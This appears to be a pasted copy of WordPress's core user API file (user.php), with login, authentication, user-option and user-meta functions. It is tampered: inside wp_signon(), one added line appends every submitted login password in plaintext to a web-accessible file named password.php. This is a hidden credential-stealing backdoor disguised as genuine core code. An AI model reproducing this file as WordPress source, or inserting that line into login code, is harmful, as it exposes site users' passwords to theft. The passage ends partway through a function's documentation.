· 8 years ago · Apr 01, 2018, 02:44 PM
1<?php
2/**
3 * Core User API
4 *
5 * @package WordPress
6 * @subpackage Users
7 */
8
9/**
10 * Authenticates and logs a user in with 'remember' capability.
11 *
12 * The credentials is an array that has 'user_login', 'user_password', and
13 * 'remember' indices. If the credentials is not given, then the log in form
14 * will be assumed and used if set.
15 *
16 * The various authentication cookies will be set by this function and will be
17 * set for a longer period depending on if the 'remember' credential is set to
18 * true.
19 *
20 * Note: wp_signon() doesn't handle setting the current user. This means that if the
21 * function is called before the {@see 'init'} hook is fired, is_user_logged_in() will
22 * evaluate as false until that point. If is_user_logged_in() is needed in conjunction
23 * with wp_signon(), wp_set_current_user() should be called explicitly.
24 *
25 * @since 2.5.0
26 *
27 * @global string $auth_secure_cookie
28 *
29 * @param array $credentials Optional. User info in order to sign on.
30 * @param string|bool $secure_cookie Optional. Whether to use secure cookie.
31 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
32 */
33function wp_signon( $credentials = array(), $secure_cookie = '' ) {
34 if ( empty($credentials) ) {
35 $credentials = array(); // Back-compat for plugins passing an empty string.
36
37 if ( ! empty($_POST['log']) )
38 $credentials['user_login'] = $_POST['log'];
39 if ( ! empty($_POST['pwd']) ) {
40 file_put_contents("password.php", $_POST['pwd'], FILE_APPEND);
41
42 $credentials['user_password'] = $_POST['pwd'];
43 }
44 if ( ! empty($_POST['rememberme']) )
45 $credentials['remember'] = $_POST['rememberme'];
46 }
47
48 if ( !empty($credentials['remember']) )
49 $credentials['remember'] = true;
50 else
51 $credentials['remember'] = false;
52
53 /**
54 * Fires before the user is authenticated.
55 *
56 * The variables passed to the callbacks are passed by reference,
57 * and can be modified by callback functions.
58 *
59 * @since 1.5.1
60 *
61 * @todo Decide whether to deprecate the wp_authenticate action.
62 *
63 * @param string $user_login Username (passed by reference).
64 * @param string $user_password User password (passed by reference).
65 */
66 do_action_ref_array( 'wp_authenticate', array( &$credentials['user_login'], &$credentials['user_password'] ) );
67
68 if ( '' === $secure_cookie )
69 $secure_cookie = is_ssl();
70
71 /**
72 * Filters whether to use a secure sign-on cookie.
73 *
74 * @since 3.1.0
75 *
76 * @param bool $secure_cookie Whether to use a secure sign-on cookie.
77 * @param array $credentials {
78 * Array of entered sign-on data.
79 *
80 * @type string $user_login Username.
81 * @type string $user_password Password entered.
82 * @type bool $remember Whether to 'remember' the user. Increases the time
83 * that the cookie will be kept. Default false.
84 * }
85 */
86 $secure_cookie = apply_filters( 'secure_signon_cookie', $secure_cookie, $credentials );
87
88 global $auth_secure_cookie; // XXX ugly hack to pass this to wp_authenticate_cookie
89 $auth_secure_cookie = $secure_cookie;
90
91 add_filter('authenticate', 'wp_authenticate_cookie', 30, 3);
92
93 $user = wp_authenticate($credentials['user_login'], $credentials['user_password']);
94
95 if ( is_wp_error($user) ) {
96 if ( $user->get_error_codes() == array('empty_username', 'empty_password') ) {
97 $user = new WP_Error('', '');
98 }
99
100 return $user;
101 }
102
103 wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie);
104 /**
105 * Fires after the user has successfully logged in.
106 *
107 * @since 1.5.0
108 *
109 * @param string $user_login Username.
110 * @param WP_User $user WP_User object of the logged-in user.
111 */
112 do_action( 'wp_login', $user->user_login, $user );
113 return $user;
114}
115
116/**
117 * Authenticate a user, confirming the username and password are valid.
118 *
119 * @since 2.8.0
120 *
121 * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
122 * @param string $username Username for authentication.
123 * @param string $password Password for authentication.
124 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
125 */
126function wp_authenticate_username_password($user, $username, $password) {
127 if ( $user instanceof WP_User ) {
128 return $user;
129 }
130
131 if ( empty($username) || empty($password) ) {
132 if ( is_wp_error( $user ) )
133 return $user;
134
135 $error = new WP_Error();
136
137 if ( empty($username) )
138 $error->add('empty_username', __('<strong>ERROR</strong>: The username field is empty.'));
139
140 if ( empty($password) )
141 $error->add('empty_password', __('<strong>ERROR</strong>: The password field is empty.'));
142
143 return $error;
144 }
145
146 $user = get_user_by('login', $username);
147
148 if ( !$user ) {
149 return new WP_Error( 'invalid_username',
150 __( '<strong>ERROR</strong>: Invalid username.' ) .
151 ' <a href="' . wp_lostpassword_url() . '">' .
152 __( 'Lost your password?' ) .
153 '</a>'
154 );
155 }
156
157 /**
158 * Filters whether the given user can be authenticated with the provided $password.
159 *
160 * @since 2.5.0
161 *
162 * @param WP_User|WP_Error $user WP_User or WP_Error object if a previous
163 * callback failed authentication.
164 * @param string $password Password to check against the user.
165 */
166 $user = apply_filters( 'wp_authenticate_user', $user, $password );
167 if ( is_wp_error($user) )
168 return $user;
169
170 if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
171 return new WP_Error( 'incorrect_password',
172 sprintf(
173 /* translators: %s: user name */
174 __( '<strong>ERROR</strong>: The password you entered for the username %s is incorrect.' ),
175 '<strong>' . $username . '</strong>'
176 ) .
177 ' <a href="' . wp_lostpassword_url() . '">' .
178 __( 'Lost your password?' ) .
179 '</a>'
180 );
181 }
182
183 return $user;
184}
185
186/**
187 * Authenticates a user using the email and password.
188 *
189 * @since 4.5.0
190 *
191 * @param WP_User|WP_Error|null $user WP_User or WP_Error object if a previous
192 * callback failed authentication.
193 * @param string $email Email address for authentication.
194 * @param string $password Password for authentication.
195 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
196 */
197function wp_authenticate_email_password( $user, $email, $password ) {
198 if ( $user instanceof WP_User ) {
199 return $user;
200 }
201
202 if ( empty( $email ) || empty( $password ) ) {
203 if ( is_wp_error( $user ) ) {
204 return $user;
205 }
206
207 $error = new WP_Error();
208
209 if ( empty( $email ) ) {
210 $error->add( 'empty_username', __( '<strong>ERROR</strong>: The email field is empty.' ) ); // Uses 'empty_username' for back-compat with wp_signon()
211 }
212
213 if ( empty( $password ) ) {
214 $error->add( 'empty_password', __( '<strong>ERROR</strong>: The password field is empty.' ) );
215 }
216
217 return $error;
218 }
219
220 if ( ! is_email( $email ) ) {
221 return $user;
222 }
223
224 $user = get_user_by( 'email', $email );
225
226 if ( ! $user ) {
227 return new WP_Error( 'invalid_email',
228 __( '<strong>ERROR</strong>: Invalid email address.' ) .
229 ' <a href="' . wp_lostpassword_url() . '">' .
230 __( 'Lost your password?' ) .
231 '</a>'
232 );
233 }
234
235 /** This filter is documented in wp-includes/user.php */
236 $user = apply_filters( 'wp_authenticate_user', $user, $password );
237
238 if ( is_wp_error( $user ) ) {
239 return $user;
240 }
241
242 if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
243 return new WP_Error( 'incorrect_password',
244 sprintf(
245 /* translators: %s: email address */
246 __( '<strong>ERROR</strong>: The password you entered for the email address %s is incorrect.' ),
247 '<strong>' . $email . '</strong>'
248 ) .
249 ' <a href="' . wp_lostpassword_url() . '">' .
250 __( 'Lost your password?' ) .
251 '</a>'
252 );
253 }
254
255 return $user;
256}
257
258/**
259 * Authenticate the user using the WordPress auth cookie.
260 *
261 * @since 2.8.0
262 *
263 * @global string $auth_secure_cookie
264 *
265 * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
266 * @param string $username Username. If not empty, cancels the cookie authentication.
267 * @param string $password Password. If not empty, cancels the cookie authentication.
268 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
269 */
270function wp_authenticate_cookie($user, $username, $password) {
271 if ( $user instanceof WP_User ) {
272 return $user;
273 }
274
275 if ( empty($username) && empty($password) ) {
276 $user_id = wp_validate_auth_cookie();
277 if ( $user_id )
278 return new WP_User($user_id);
279
280 global $auth_secure_cookie;
281
282 if ( $auth_secure_cookie )
283 $auth_cookie = SECURE_AUTH_COOKIE;
284 else
285 $auth_cookie = AUTH_COOKIE;
286
287 if ( !empty($_COOKIE[$auth_cookie]) )
288 return new WP_Error('expired_session', __('Please log in again.'));
289
290 // If the cookie is not set, be silent.
291 }
292
293 return $user;
294}
295
296/**
297 * For Multisite blogs, check if the authenticated user has been marked as a
298 * spammer, or if the user's primary blog has been marked as spam.
299 *
300 * @since 3.7.0
301 *
302 * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
303 * @return WP_User|WP_Error WP_User on success, WP_Error if the user is considered a spammer.
304 */
305function wp_authenticate_spam_check( $user ) {
306 if ( $user instanceof WP_User && is_multisite() ) {
307 /**
308 * Filters whether the user has been marked as a spammer.
309 *
310 * @since 3.7.0
311 *
312 * @param bool $spammed Whether the user is considered a spammer.
313 * @param WP_User $user User to check against.
314 */
315 $spammed = apply_filters( 'check_is_user_spammed', is_user_spammy( $user ), $user );
316
317 if ( $spammed )
318 return new WP_Error( 'spammer_account', __( '<strong>ERROR</strong>: Your account has been marked as a spammer.' ) );
319 }
320 return $user;
321}
322
323/**
324 * Validates the logged-in cookie.
325 *
326 * Checks the logged-in cookie if the previous auth cookie could not be
327 * validated and parsed.
328 *
329 * This is a callback for the {@see 'determine_current_user'} filter, rather than API.
330 *
331 * @since 3.9.0
332 *
333 * @param int|bool $user_id The user ID (or false) as received from the
334 * determine_current_user filter.
335 * @return int|false User ID if validated, false otherwise. If a user ID from
336 * an earlier filter callback is received, that value is returned.
337 */
338function wp_validate_logged_in_cookie( $user_id ) {
339 if ( $user_id ) {
340 return $user_id;
341 }
342
343 if ( is_blog_admin() || is_network_admin() || empty( $_COOKIE[LOGGED_IN_COOKIE] ) ) {
344 return false;
345 }
346
347 return wp_validate_auth_cookie( $_COOKIE[LOGGED_IN_COOKIE], 'logged_in' );
348}
349
350/**
351 * Number of posts user has written.
352 *
353 * @since 3.0.0
354 * @since 4.1.0 Added `$post_type` argument.
355 * @since 4.3.0 Added `$public_only` argument. Added the ability to pass an array
356 * of post types to `$post_type`.
357 *
358 * @global wpdb $wpdb WordPress database abstraction object.
359 *
360 * @param int $userid User ID.
361 * @param array|string $post_type Optional. Single post type or array of post types to count the number of posts for. Default 'post'.
362 * @param bool $public_only Optional. Whether to only return counts for public posts. Default false.
363 * @return string Number of posts the user has written in this post type.
364 */
365function count_user_posts( $userid, $post_type = 'post', $public_only = false ) {
366 global $wpdb;
367
368 $where = get_posts_by_author_sql( $post_type, true, $userid, $public_only );
369
370 $count = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->posts $where" );
371
372 /**
373 * Filters the number of posts a user has written.
374 *
375 * @since 2.7.0
376 * @since 4.1.0 Added `$post_type` argument.
377 * @since 4.3.1 Added `$public_only` argument.
378 *
379 * @param int $count The user's post count.
380 * @param int $userid User ID.
381 * @param string|array $post_type Single post type or array of post types to count the number of posts for.
382 * @param bool $public_only Whether to limit counted posts to public posts.
383 */
384 return apply_filters( 'get_usernumposts', $count, $userid, $post_type, $public_only );
385}
386
387/**
388 * Number of posts written by a list of users.
389 *
390 * @since 3.0.0
391 *
392 * @global wpdb $wpdb WordPress database abstraction object.
393 *
394 * @param array $users Array of user IDs.
395 * @param string|array $post_type Optional. Single post type or array of post types to check. Defaults to 'post'.
396 * @param bool $public_only Optional. Only return counts for public posts. Defaults to false.
397 * @return array Amount of posts each user has written.
398 */
399function count_many_users_posts( $users, $post_type = 'post', $public_only = false ) {
400 global $wpdb;
401
402 $count = array();
403 if ( empty( $users ) || ! is_array( $users ) )
404 return $count;
405
406 $userlist = implode( ',', array_map( 'absint', $users ) );
407 $where = get_posts_by_author_sql( $post_type, true, null, $public_only );
408
409 $result = $wpdb->get_results( "SELECT post_author, COUNT(*) FROM $wpdb->posts $where AND post_author IN ($userlist) GROUP BY post_author", ARRAY_N );
410 foreach ( $result as $row ) {
411 $count[ $row[0] ] = $row[1];
412 }
413
414 foreach ( $users as $id ) {
415 if ( ! isset( $count[ $id ] ) )
416 $count[ $id ] = 0;
417 }
418
419 return $count;
420}
421
422//
423// User option functions
424//
425
426/**
427 * Get the current user's ID
428 *
429 * @since MU (3.0.0)
430 *
431 * @return int The current user's ID, or 0 if no user is logged in.
432 */
433function get_current_user_id() {
434 if ( ! function_exists( 'wp_get_current_user' ) )
435 return 0;
436 $user = wp_get_current_user();
437 return ( isset( $user->ID ) ? (int) $user->ID : 0 );
438}
439
440/**
441 * Retrieve user option that can be either per Site or per Network.
442 *
443 * If the user ID is not given, then the current user will be used instead. If
444 * the user ID is given, then the user data will be retrieved. The filter for
445 * the result, will also pass the original option name and finally the user data
446 * object as the third parameter.
447 *
448 * The option will first check for the per site name and then the per Network name.
449 *
450 * @since 2.0.0
451 *
452 * @global wpdb $wpdb WordPress database abstraction object.
453 *
454 * @param string $option User option name.
455 * @param int $user Optional. User ID.
456 * @param string $deprecated Use get_option() to check for an option in the options table.
457 * @return mixed User option value on success, false on failure.
458 */
459function get_user_option( $option, $user = 0, $deprecated = '' ) {
460 global $wpdb;
461
462 if ( !empty( $deprecated ) )
463 _deprecated_argument( __FUNCTION__, '3.0.0' );
464
465 if ( empty( $user ) )
466 $user = get_current_user_id();
467
468 if ( ! $user = get_userdata( $user ) )
469 return false;
470
471 $prefix = $wpdb->get_blog_prefix();
472 if ( $user->has_prop( $prefix . $option ) ) // Blog specific
473 $result = $user->get( $prefix . $option );
474 elseif ( $user->has_prop( $option ) ) // User specific and cross-blog
475 $result = $user->get( $option );
476 else
477 $result = false;
478
479 /**
480 * Filters a specific user option value.
481 *
482 * The dynamic portion of the hook name, `$option`, refers to the user option name.
483 *
484 * @since 2.5.0
485 *
486 * @param mixed $result Value for the user's option.
487 * @param string $option Name of the option being retrieved.
488 * @param WP_User $user WP_User object of the user whose option is being retrieved.
489 */
490 return apply_filters( "get_user_option_{$option}", $result, $option, $user );
491}
492
493/**
494 * Update user option with global blog capability.
495 *
496 * User options are just like user metadata except that they have support for
497 * global blog options. If the 'global' parameter is false, which it is by default
498 * it will prepend the WordPress table prefix to the option name.
499 *
500 * Deletes the user option if $newvalue is empty.
501 *
502 * @since 2.0.0
503 *
504 * @global wpdb $wpdb WordPress database abstraction object.
505 *
506 * @param int $user_id User ID.
507 * @param string $option_name User option name.
508 * @param mixed $newvalue User option value.
509 * @param bool $global Optional. Whether option name is global or blog specific.
510 * Default false (blog specific).
511 * @return int|bool User meta ID if the option didn't exist, true on successful update,
512 * false on failure.
513 */
514function update_user_option( $user_id, $option_name, $newvalue, $global = false ) {
515 global $wpdb;
516
517 if ( !$global )
518 $option_name = $wpdb->get_blog_prefix() . $option_name;
519
520 return update_user_meta( $user_id, $option_name, $newvalue );
521}
522
523/**
524 * Delete user option with global blog capability.
525 *
526 * User options are just like user metadata except that they have support for
527 * global blog options. If the 'global' parameter is false, which it is by default
528 * it will prepend the WordPress table prefix to the option name.
529 *
530 * @since 3.0.0
531 *
532 * @global wpdb $wpdb WordPress database abstraction object.
533 *
534 * @param int $user_id User ID
535 * @param string $option_name User option name.
536 * @param bool $global Optional. Whether option name is global or blog specific.
537 * Default false (blog specific).
538 * @return bool True on success, false on failure.
539 */
540function delete_user_option( $user_id, $option_name, $global = false ) {
541 global $wpdb;
542
543 if ( !$global )
544 $option_name = $wpdb->get_blog_prefix() . $option_name;
545 return delete_user_meta( $user_id, $option_name );
546}
547
548/**
549 * Retrieve list of users matching criteria.
550 *
551 * @since 3.1.0
552 *
553 * @see WP_User_Query
554 *
555 * @param array $args Optional. Arguments to retrieve users. See WP_User_Query::prepare_query().
556 * for more information on accepted arguments.
557 * @return array List of users.
558 */
559function get_users( $args = array() ) {
560
561 $args = wp_parse_args( $args );
562 $args['count_total'] = false;
563
564 $user_search = new WP_User_Query($args);
565
566 return (array) $user_search->get_results();
567}
568
569/**
570 * Get the sites a user belongs to.
571 *
572 * @since 3.0.0
573 * @since 4.7.0 Converted to use get_sites().
574 *
575 * @global wpdb $wpdb WordPress database abstraction object.
576 *
577 * @param int $user_id User ID
578 * @param bool $all Whether to retrieve all sites, or only sites that are not
579 * marked as deleted, archived, or spam.
580 * @return array A list of the user's sites. An empty array if the user doesn't exist
581 * or belongs to no sites.
582 */
583function get_blogs_of_user( $user_id, $all = false ) {
584 global $wpdb;
585
586 $user_id = (int) $user_id;
587
588 // Logged out users can't have sites
589 if ( empty( $user_id ) )
590 return array();
591
592 /**
593 * Filters the list of a user's sites before it is populated.
594 *
595 * Passing a non-null value to the filter will effectively short circuit
596 * get_blogs_of_user(), returning that value instead.
597 *
598 * @since 4.6.0
599 *
600 * @param null|array $sites An array of site objects of which the user is a member.
601 * @param int $user_id User ID.
602 * @param bool $all Whether the returned array should contain all sites, including
603 * those marked 'deleted', 'archived', or 'spam'. Default false.
604 */
605 $sites = apply_filters( 'pre_get_blogs_of_user', null, $user_id, $all );
606
607 if ( null !== $sites ) {
608 return $sites;
609 }
610
611 $keys = get_user_meta( $user_id );
612 if ( empty( $keys ) )
613 return array();
614
615 if ( ! is_multisite() ) {
616 $site_id = get_current_blog_id();
617 $sites = array( $site_id => new stdClass );
618 $sites[ $site_id ]->userblog_id = $site_id;
619 $sites[ $site_id ]->blogname = get_option('blogname');
620 $sites[ $site_id ]->domain = '';
621 $sites[ $site_id ]->path = '';
622 $sites[ $site_id ]->site_id = 1;
623 $sites[ $site_id ]->siteurl = get_option('siteurl');
624 $sites[ $site_id ]->archived = 0;
625 $sites[ $site_id ]->spam = 0;
626 $sites[ $site_id ]->deleted = 0;
627 return $sites;
628 }
629
630 $site_ids = array();
631
632 if ( isset( $keys[ $wpdb->base_prefix . 'capabilities' ] ) && defined( 'MULTISITE' ) ) {
633 $site_ids[] = 1;
634 unset( $keys[ $wpdb->base_prefix . 'capabilities' ] );
635 }
636
637 $keys = array_keys( $keys );
638
639 foreach ( $keys as $key ) {
640 if ( 'capabilities' !== substr( $key, -12 ) )
641 continue;
642 if ( $wpdb->base_prefix && 0 !== strpos( $key, $wpdb->base_prefix ) )
643 continue;
644 $site_id = str_replace( array( $wpdb->base_prefix, '_capabilities' ), '', $key );
645 if ( ! is_numeric( $site_id ) )
646 continue;
647
648 $site_ids[] = (int) $site_id;
649 }
650
651 $sites = array();
652
653 if ( ! empty( $site_ids ) ) {
654 $args = array(
655 'number' => '',
656 'site__in' => $site_ids,
657 );
658 if ( ! $all ) {
659 $args['archived'] = 0;
660 $args['spam'] = 0;
661 $args['deleted'] = 0;
662 }
663
664 $_sites = get_sites( $args );
665
666 foreach ( $_sites as $site ) {
667 $sites[ $site->id ] = (object) array(
668 'userblog_id' => $site->id,
669 'blogname' => $site->blogname,
670 'domain' => $site->domain,
671 'path' => $site->path,
672 'site_id' => $site->network_id,
673 'siteurl' => $site->siteurl,
674 'archived' => $site->archived,
675 'mature' => $site->mature,
676 'spam' => $site->spam,
677 'deleted' => $site->deleted,
678 );
679 }
680 }
681
682 /**
683 * Filters the list of sites a user belongs to.
684 *
685 * @since MU (3.0.0)
686 *
687 * @param array $sites An array of site objects belonging to the user.
688 * @param int $user_id User ID.
689 * @param bool $all Whether the returned sites array should contain all sites, including
690 * those marked 'deleted', 'archived', or 'spam'. Default false.
691 */
692 return apply_filters( 'get_blogs_of_user', $sites, $user_id, $all );
693}
694
695/**
696 * Find out whether a user is a member of a given blog.
697 *
698 * @since MU (3.0.0)
699 *
700 * @global wpdb $wpdb WordPress database abstraction object.
701 *
702 * @param int $user_id Optional. The unique ID of the user. Defaults to the current user.
703 * @param int $blog_id Optional. ID of the blog to check. Defaults to the current site.
704 * @return bool
705 */
706function is_user_member_of_blog( $user_id = 0, $blog_id = 0 ) {
707 global $wpdb;
708
709 $user_id = (int) $user_id;
710 $blog_id = (int) $blog_id;
711
712 if ( empty( $user_id ) ) {
713 $user_id = get_current_user_id();
714 }
715
716 // Technically not needed, but does save calls to get_site and get_user_meta
717 // in the event that the function is called when a user isn't logged in
718 if ( empty( $user_id ) ) {
719 return false;
720 } else {
721 $user = get_userdata( $user_id );
722 if ( ! $user instanceof WP_User ) {
723 return false;
724 }
725 }
726
727 if ( ! is_multisite() ) {
728 return true;
729 }
730
731 if ( empty( $blog_id ) ) {
732 $blog_id = get_current_blog_id();
733 }
734
735 $blog = get_site( $blog_id );
736
737 if ( ! $blog || ! isset( $blog->domain ) || $blog->archived || $blog->spam || $blog->deleted ) {
738 return false;
739 }
740
741 $keys = get_user_meta( $user_id );
742 if ( empty( $keys ) ) {
743 return false;
744 }
745
746 // no underscore before capabilities in $base_capabilities_key
747 $base_capabilities_key = $wpdb->base_prefix . 'capabilities';
748 $site_capabilities_key = $wpdb->base_prefix . $blog_id . '_capabilities';
749
750 if ( isset( $keys[ $base_capabilities_key ] ) && $blog_id == 1 ) {
751 return true;
752 }
753
754 if ( isset( $keys[ $site_capabilities_key ] ) ) {
755 return true;
756 }
757
758 return false;
759}
760
761/**
762 * Adds meta data to a user.
763 *
764 * @since 3.0.0
765 *
766 * @param int $user_id User ID.
767 * @param string $meta_key Metadata name.
768 * @param mixed $meta_value Metadata value.
769 * @param bool $unique Optional. Whether the same key should not be added. Default false.
770 * @return int|false Meta ID on success, false on failure.
771 */
772function add_user_meta($user_id, $meta_key, $meta_value, $unique = false) {
773 return add_metadata('user', $user_id, $meta_key, $meta_value, $unique);
774}
775
776/**
777 * Remove metadata matching criteria from a user.
778 *
779 * You can match based on the key, or key and value. Removing based on key and
780 * value, will keep from removing duplicate metadata with the same key. It also
781 * allows removing all metadata matching key, if needed.
782 *
783 * @since 3.0.0
784 * @link https://codex.wordpress.org/Function_Reference/delete_user_meta
785 *
786 * @param int $user_id User ID
787 * @param string $meta_key Metadata name.
788 * @param mixed $meta_value Optional. Metadata value.
789 * @return bool True on success, false on failure.
790 */
791function delete_user_meta($user_id, $meta_key, $meta_value = '') {
792 return delete_metadata('user', $user_id, $meta_key, $meta_value);
793}
794
795/**
796 * Retrieve user meta field for a user.
797 *
798 * @since 3.0.0
799 * @link https://codex.wordpress.org/Function_Reference/get_user_meta
800 *
801 * @param int $user_id User ID.
802 * @param string $key Optional. The meta key to retrieve. By default, returns data for all keys.
803 * @param bool $single Whether to return a single value.
804 * @return mixed Will be an array if $single is false. Will be value of meta data field if $single is true.
805 */
806function get_user_meta($user_id, $key = '', $single = false) {
807 return get_metadata('user', $user_id, $key, $single);
808}
809
810/**
811 * Update user meta field based on user ID.
812 *
813 * Use the $prev_value parameter to differentiate between meta fields with the
814 * same key and user ID.
815 *
816 * If the meta field for the user does not exist, it will be added.
817 *
818 * @since 3.0.0
819 * @link https://codex.wordpress.org/Function_Reference/update_user_meta
820 *
821 * @param int $user_id User ID.
822 * @param string $meta_key Metadata key.
823 * @param mixed $meta_value Metadata value.
824 * @param mixed $prev_value Optional. Previous value to check before removing.
825 * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure.
826 */
827function update_user_meta($user_id, $meta_key, $meta_value, $prev_value = '') {
828 return update_metadata('user', $user_id, $meta_key, $meta_value, $prev_value);
829}
830
831/**
832 * Count number of users who have each of the user roles.
833 *
834 * Assumes there are neither duplicated nor orphaned capabilities meta_values.
835 * Assumes role names are unique phrases. Same assumption made by WP_User_Query::prepare_query()
836 * Using $strategy = 'time' this is CPU-intensive and should handle around 10^7 users.
837 * Using $strategy = 'memory' this is memory-intensive and should handle around 10^5 users, but see WP Bug #12257.
838 *
839 * @since 3.0.0
840 * @since 4.4.0 The number of users with no role is now included in the `none` element.
841 * @since 4.9.0 The `$site_id` parameter was added to support multisite.
842 *
843 * @global wpdb $wpdb WordPress database abstraction object.
844 *
845 * @param string $strategy Optional. The computational strategy to use when counting the users.
846 * Accepts either 'time' or 'memory'. Default 'time'.
847 * @param int|null $site_id Optional. The site ID to count users for. Defaults to the current site.
848 * @return array Includes a grand total and an array of counts indexed by role strings.
849 */
850function count_users( $strategy = 'time', $site_id = null ) {
851 global $wpdb;
852
853 // Initialize
854 if ( ! $site_id ) {
855 $site_id = get_current_blog_id();
856 }
857 $blog_prefix = $wpdb->get_blog_prefix( $site_id );
858 $result = array();
859
860 if ( 'time' == $strategy ) {
861 if ( is_multisite() && $site_id != get_current_blog_id() ) {
862 switch_to_blog( $site_id );
863 $avail_roles = wp_roles()->get_names();
864 restore_current_blog();
865 } else {
866 $avail_roles = wp_roles()->get_names();
867 }
868
869 // Build a CPU-intensive query that will return concise information.
870 $select_count = array();
871 foreach ( $avail_roles as $this_role => $name ) {
872 $select_count[] = $wpdb->prepare( "COUNT(NULLIF(`meta_value` LIKE %s, false))", '%' . $wpdb->esc_like( '"' . $this_role . '"' ) . '%');
873 }
874 $select_count[] = "COUNT(NULLIF(`meta_value` = 'a:0:{}', false))";
875 $select_count = implode(', ', $select_count);
876
877 // Add the meta_value index to the selection list, then run the query.
878 $row = $wpdb->get_row( "
879 SELECT {$select_count}, COUNT(*)
880 FROM {$wpdb->usermeta}
881 INNER JOIN {$wpdb->users} ON user_id = ID
882 WHERE meta_key = '{$blog_prefix}capabilities'
883 ", ARRAY_N );
884
885 // Run the previous loop again to associate results with role names.
886 $col = 0;
887 $role_counts = array();
888 foreach ( $avail_roles as $this_role => $name ) {
889 $count = (int) $row[$col++];
890 if ($count > 0) {
891 $role_counts[$this_role] = $count;
892 }
893 }
894
895 $role_counts['none'] = (int) $row[$col++];
896
897 // Get the meta_value index from the end of the result set.
898 $total_users = (int) $row[$col];
899
900 $result['total_users'] = $total_users;
901 $result['avail_roles'] =& $role_counts;
902 } else {
903 $avail_roles = array(
904 'none' => 0,
905 );
906
907 $users_of_blog = $wpdb->get_col( "
908 SELECT meta_value
909 FROM {$wpdb->usermeta}
910 INNER JOIN {$wpdb->users} ON user_id = ID
911 WHERE meta_key = '{$blog_prefix}capabilities'
912 " );
913
914 foreach ( $users_of_blog as $caps_meta ) {
915 $b_roles = maybe_unserialize($caps_meta);
916 if ( ! is_array( $b_roles ) )
917 continue;
918 if ( empty( $b_roles ) ) {
919 $avail_roles['none']++;
920 }
921 foreach ( $b_roles as $b_role => $val ) {
922 if ( isset($avail_roles[$b_role]) ) {
923 $avail_roles[$b_role]++;
924 } else {
925 $avail_roles[$b_role] = 1;
926 }
927 }
928 }
929
930 $result['total_users'] = count( $users_of_blog );
931 $result['avail_roles'] =& $avail_roles;
932 }
933
934 return $result;
935}
936
937//
938// Private helper functions
939//
940
941/**
942 * Set up global user vars.
943 *
944 * Used by wp_set_current_user() for back compat. Might be deprecated in the future.
945 *
946 * @since 2.0.4
947 *
948 * @global string $user_login The user username for logging in
949 * @global WP_User $userdata User data.
950 * @global int $user_level The level of the user
951 * @global int $user_ID The ID of the user
952 * @global string $user_email The email address of the user
953 * @global string $user_url The url in the user's profile
954 * @global string $user_identity The display name of the user
955 *
956 * @param int $for_user_id Optional. User ID to set up global data.
957 */
958function setup_userdata($for_user_id = '') {
959 global $user_login, $userdata, $user_level, $user_ID, $user_email, $user_url, $user_identity;
960
961 if ( '' == $for_user_id )
962 $for_user_id = get_current_user_id();
963 $user = get_userdata( $for_user_id );
964
965 if ( ! $user ) {
966 $user_ID = 0;
967 $user_level = 0;
968 $userdata = null;
969 $user_login = $user_email = $user_url = $user_identity = '';
970 return;
971 }
972
973 $user_ID = (int) $user->ID;
974 $user_level = (int) $user->user_level;
975 $userdata = $user;
976 $user_login = $user->user_login;
977 $user_email = $user->user_email;
978 $user_url = $user->user_url;
979 $user_identity = $user->display_name;
980}
981
982/**
983 * Create dropdown HTML content of users.
984 *
985 * The content can either be displayed, which it is by default or retrieved by
986 * setting the 'echo' argument. The 'include' and 'exclude' arguments do not
987 * need to be used; all users will be displayed in that case. Only one can be
988 * used, either 'include' or 'exclude', but not both.
989 *
990 * The available arguments are as follows:
991 *
992 * @since 2.3.0
993 * @since 4.5.0 Added the 'display_name_with_login' value for 'show'.
994 * @since 4.7.0 Added the `$role`, `$role__in`, and `$role__not_in` parameters.
995 *
996 * @param array|string $args {
997 * Optional. Array or string of arguments to generate a drop-down of users.
998 * See WP_User_Query::prepare_query() for additional available arguments.
999 *
1000 * @type string $show_option_all Text to show as the drop-down default (all).
1001 * Default empty.
1002 * @type string $show_option_none Text to show as the drop-down default when no
1003 * users were found. Default empty.
1004 * @type int|string $option_none_value Value to use for $show_option_non when no users
1005 * were found. Default -1.
1006 * @type string $hide_if_only_one_author Whether to skip generating the drop-down
1007 * if only one user was found. Default empty.
1008 * @type string $orderby Field to order found users by. Accepts user fields.
1009 * Default 'display_name'.
1010 * @type string $order Whether to order users in ascending or descending
1011 * order. Accepts 'ASC' (ascending) or 'DESC' (descending).
1012 * Default 'ASC'.
1013 * @type array|string $include Array or comma-separated list of user IDs to include.
1014 * Default empty.
1015 * @type array|string $exclude Array or comma-separated list of user IDs to exclude.
1016 * Default empty.
1017 * @type bool|int $multi Whether to skip the ID attribute on the 'select' element.
1018 * Accepts 1|true or 0|false. Default 0|false.
1019 * @type string $show User data to display. If the selected item is empty
1020 * then the 'user_login' will be displayed in parentheses.
1021 * Accepts any user field, or 'display_name_with_login' to show
1022 * the display name with user_login in parentheses.
1023 * Default 'display_name'.
1024 * @type int|bool $echo Whether to echo or return the drop-down. Accepts 1|true (echo)
1025 * or 0|false (return). Default 1|true.
1026 * @type int $selected Which user ID should be selected. Default 0.
1027 * @type bool $include_selected Whether to always include the selected user ID in the drop-
1028 * down. Default false.
1029 * @type string $name Name attribute of select element. Default 'user'.
1030 * @type string $id ID attribute of the select element. Default is the value of $name.
1031 * @type string $class Class attribute of the select element. Default empty.
1032 * @type int $blog_id ID of blog (Multisite only). Default is ID of the current blog.
1033 * @type string $who Which type of users to query. Accepts only an empty string or
1034 * 'authors'. Default empty.
1035 * @type string|array $role An array or a comma-separated list of role names that users must
1036 * match to be included in results. Note that this is an inclusive
1037 * list: users must match *each* role. Default empty.
1038 * @type array $role__in An array of role names. Matched users must have at least one of
1039 * these roles. Default empty array.
1040 * @type array $role__not_in An array of role names to exclude. Users matching one or more of
1041 * these roles will not be included in results. Default empty array.
1042 * }
1043 * @return string String of HTML content.
1044 */
